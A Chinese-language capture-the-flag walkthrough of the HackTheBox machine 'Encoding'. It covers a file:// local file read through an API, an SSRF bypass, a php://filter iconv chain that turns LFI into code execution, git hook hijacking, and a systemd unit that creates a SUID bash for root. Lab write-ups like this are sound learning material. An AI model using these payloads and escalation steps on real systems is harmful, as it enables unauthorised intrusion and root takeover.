HackTheBox - Medium - Linux - Encoding

Encoding

前言

经过10个月左右的网安自学,我想说的第一句话无疑是:感谢TryHackMe。当然,后续的HackTheBox&学院、CRTO等等,对我的帮助都很大。

许多师傅们都在年度总结,我也看了大家都收获很多,都很厉害。我想我就没有必要了,我想在2023这一年里我的博客内容就是最棒的总结和结果.

昨天是我没有打htb靶机并且写wp的一天, 昨晚也是2023年最后一个夜晚,我们TryHackMyOffsecBox的八位师傅们一起在htb打4v4攻防对抗

file

当然啦,最终我也是惜败了,重要是我们八位师傅都使用kook语音交流,氛围很棒,双方的攻防过程也很爽,各位师傅反馈虽然靶机总是出问题,但是整体还是很爽的

file

我方视角:

【2023年最后一晚 - HTB 网络安全4v4攻防对抗 M1n9K1n9第一视角-哔哩哔哩】 https://b23.tv/qdcYL2m

对方视角:

【TryHackMyOffsecBox 跨年活动 4v4 对抗 Cyber Mayhem Randark第一视角-哔哩哔哩】 https://b23.tv/NQup0VD


目前htb 4v4攻防对抗这个游戏已经被我设置为群周常活动,每周日晚开打

就像一年前的今天,我在thm初学并且第一次打koth一样,这是历史以一种类似的方式重新上演了。

file

file

总而言之,保持学习,向大佬学习,继续向前,宁愿做大佬堆里的腊鸡,也不愿意做…


Encoding是一种中等难度的 Linux 计算机,其 Web 应用程序容易受到本地文件读取的攻击。通过读取目标上的任意文件的能力,攻击者可以首先利用 Web 应用程序中的 PHP LFI 漏洞,以“www-data”用户身份访问服务器。然后,他们可以在服务器上发现一个名为“git-commit.sh”的脚本,该脚本允许他们以 James 用户的身份提交代码。通过检查“utils.php”文件,攻击者可以发现该脚本以具有 sudo 权限的“svc”用户身份运行。通过恶意 Git 钩子,攻击者可以获取“svc”用户的 SSH 密钥。该用户可以通过 sudo 以 root 用户身份重启服务。攻击者可滥用此权限,通过修改现有服务文件或创建新服务文件,以 root 身份执行任意代码。


外部信息收集

端口扫描

循例nmap

file

Web枚举

任意文件读取

在api中看到一个

file

尝试一下就可以发现,这里存在LFI,把http改file协议

import requestsjson_data = {'action': 'str2hex','file_url' : 'file:///etc/passwd'}response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

decode就可以得到明文数据

file

读apache默认配置

<VirtualHost *:80>ServerName haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/htmlErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost><VirtualHost *:80>ServerName api.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/apiErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost><VirtualHost *:80>ServerName image.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/imageErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined#SecRuleEngine On<LocationMatch />SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"Header always set Retry-After "10" env=RATELIMITED</LocationMatch>ErrorDocument 429 "Rate Limit Exceeded"<Directory /var/www/image>Deny from allAllow from 127.0.0.1Options Indexes FollowSymLinksAllowOverride AllRequire all granted</DIrectory></VirtualHost># vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读/var/www/image/index.php

<?php 
include_once 'utils.php';
include 'includes/coming_soon.html';
?>

utils.php

<?php// Global functions
function jsonify($body, $code = null)
{if ($code) {http_response_code($code);}header('Content-Type: application/json; charset=utf-8');echo json_encode($body);exit;
}function get_url_content($url)
{$domain = parse_url($url, PHP_URL_HOST);if (gethostbyname($domain) === "127.0.0.1") {echo jsonify(["message" => "Unacceptable URL"]);}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$url_content =  curl_exec($ch);curl_close($ch);return $url_content;
}function git_status()
{$status = shell_exec('cd /var/www/image && /usr/bin/git status');return $status;
}function git_log($file)
{$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');return $log;
}function git_commit()
{$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');return $commit;
}
?>

Foothold

从上面两个函数里面的内容来看,/var/www/image下有git存储库

参考这篇文章,我们将手动从.git重建存储库

读HEAD看当前分支的引用

file:///var/www/image/.git/HEAD

file

继续读 .git/refs/heads/master

file

本地创建个目录并且创建git存储库

file

将文件下到本地

.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b

file

git cat-file

file

接着读tree

.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49

file

读actions

file

读action_handler.php,经典文件包含

┌──(ming👻m1n9k1n9-parrot)-[~/test]
└─$ git cat-file -p 2d600ee8a453abd9bd515c41c8fa786b95f96f82
<?phpinclude_once 'utils.php';if (isset($_GET['page'])) {$page = $_GET['page'];include($page);} else {echo jsonify(['message' => 'No page specified!']);
}?>

然而image子域我们是无权访问的,但我们可以通过最开始的文件读取漏洞来转换为SSRF

utils.php中做了限制,我们通过@来绕过

file

现在我们可以读到目标上的文件,同时我发现php://filter 也可用,但是就是无法访问目标机器外的远程文件,无法触发RFI

这篇文章给我们非常详细的讲述了如何绕过这种限制,并且利用iconv包装器通过奇奇怪怪的编码转换,在读取的文件头部中最终插入我们期望的字符串,最终导致RCE

脚本则在github

我们执行id命令

file

file

常规bash reverse shell

file

file

本地横向移动 -> svc

sudo -l

file

发现.git有acl

file

进.git/一看,全有acl

file

既然hooks全都可写,那就是经典hook劫持

我们劫持git commit后会触发的post-commit

file

file

此外,我们还需要通过–work-tree参数设置到其他目录,然后提交其他文件,因为我们在image/下无权新增其他文件

file

nc

file

本地权限提升

sudo -l

file

不出意外的话就要出意外了

从sudo -l这个条目不难看出进攻思路,当前用户svc肯定是对某个服务的配置文件可写,然后我们restart执行命令提权

在/etc/systemd下又发现system有acl,但是不可读

file

然而other可读,我们需要www-data的shell帮助我们

system/里面也是全是acl,随便看一个文件的acl,发现svc可写

file

接下来就相当轻松也很熟悉了,随便搞个配置,抓住ExecStart

[Unit]
Description=My Service[Service]
User=root
Group=root
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"[Install]
WantedBy=default.target

保存到文件并且base64

file

将base64在目标上解码并写入system/,再sudo去restart,我们的老朋友将如期而至

file

root flag还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/314832.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

k8s基础架构

k8s基础架构 创建pod流程 &#xff08;1&#xff09;用户通过kubectl向api-server发起创建pod请求&#xff1b; &#xff08;2&#xff09;apiserver通过对应的kubeconfig进行认证&#xff0c;认证通过后将yaml中的po信息存到etcd&#xff1b; &#xff08;3&#xff09;Contr…

Android Studio xml布局代码补全功能失效问题

这里写目录标题 前言&#xff1a;问题描述原因分析&#xff1a;解决方案&#xff1a;1.更新 Android Studio 版本2.原版本解决XML补全失效 小结 前言&#xff1a; 在开发过程中&#xff0c;你可能遇到很多奇奇怪怪的问题。Android Studio 编译器出现问题也是常有的事情&#x…

docker 在线安装mysql 8.0.21版本

1、拉取mysql 8.0.21版本镜像 2、查看镜像 docker images 3、在宿主机 /usr/local/mysql 下的 conf 文件夹下&#xff0c;创建 my.cnf 文件&#xff0c;并编辑内容 [mysql] default-character-setutf8 [client] port3306 default-character-setutf8 [mysqld] port3306 se…

红日靶场-3

目录 前言 外网渗透 外网渗透打点 1、arp 2、nmap 3、nikto 4、whatweb 5、gobuster 6、dirsearch CMS 1、主页内容 2、/configuration.php~ 目录 3、/administrator 目录 4、Joomla!_version探测 5、joomlascan python脚本 6、joomscan perl脚本 MySQL 1、远…

JAVA:利用JUnit进行高效的单元测试

1、简述 在软件开发中&#xff0c;单元测试是确保代码质量和可维护性的关键步骤。JUnit作为Java领域最流行的单元测试框架之一&#xff0c;提供了简单而强大的测试工具&#xff0c;可以帮助开发者在项目开发过程中及时发现和修复代码中的问题。本文将介绍JUnit的基本用法以及一…

k8s陈述式资源管理(命令行)

1、资源管理 &#xff08;1&#xff09;陈述式资源管理&#xff08;常用——查、增&#xff09; 使用kubectl工具进行命令行管理 ①特点&#xff1a;对资源的增删查比较方便&#xff0c;对改不友好 ②优点&#xff1a;90%以上的场景都可以满足 ③缺点&#xff1a;命令冗长…

【VTK三维重建-体绘制】第四期 VTK中GPU加速

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ&#xff1a;870202403 前言 上期内容讲到VTK的体绘制技术vtkGPUVolumeRayCastMapper&#xff0c;本文分享VTK中GPU加速的相关内容&#xff0c;希望对各位小伙伴有所帮助&#xff01; 感谢各位小伙伴的点赞关注&#xff0c;小易会…

基于简化版python+VGG+MiniGoogLeNet的智能43类交通标志识别—深度学习算法应用(含全部python工程源码)+数据集+模型(二)

目录 前言总体设计系统整体结构图系统流程图 运行环境模块实现1. 数据预处理2. 模型构建1&#xff09;VGG模型简化版2&#xff09;GoogLeNet简化版——MiniGoogLeNet 3. 模型训练及保存 相关其它博客工程源代码下载其它资料下载 前言 本项目专注于解决出国自驾游特定场景下的交…

ES6之Promise的链式调用

✨ 专栏介绍 在现代Web开发中&#xff0c;JavaScript已经成为了不可或缺的一部分。它不仅可以为网页增加交互性和动态性&#xff0c;还可以在后端开发中使用Node.js构建高效的服务器端应用程序。作为一种灵活且易学的脚本语言&#xff0c;JavaScript具有广泛的应用场景&#x…

使用Gitea搭建自己的git远程仓库

Gitea 为什么需要自建仓库 原因只有一个&#xff1a;折腾。其实国内的码云加上github已经足够用了。 官方原话 Gitea 的首要目标是创建一个极易安装&#xff0c;运行非常快速&#xff0c;安装和使用体验良好的自建 Git 服务。我们采用 Go 作为后端语言&#xff0c;这使我们…

关于解决引用第三方依赖突然失效的问题解决办法

目录 背景回顾解决办法结果 背景 出现该问题的背景是这样的。在项目中需要支持加载pdf文档的功能。所以采取了使用第三方PDF库的方法来实现加载pdf文档。集成完后&#xff0c;功能是正常的。后来过了一段时间&#xff0c;发现加载pdf的功能不能正常使用了&#xff0c;加载不出…

docker-compose快速搭建passbolt服务及CA证书的使用(https协议访问)

文章目录 1. 服务搭建2. 创建管理员用户3. 使用CA认证 1. 服务搭建 创建passbolt目录&#xff0c;并进入该目录创建docker-compose.yml 文件&#xff0c;内容如下&#xff1a; version: 3services:db:image: mariadb:10.6container_name: pb-mariadbrestart: unless-stoppede…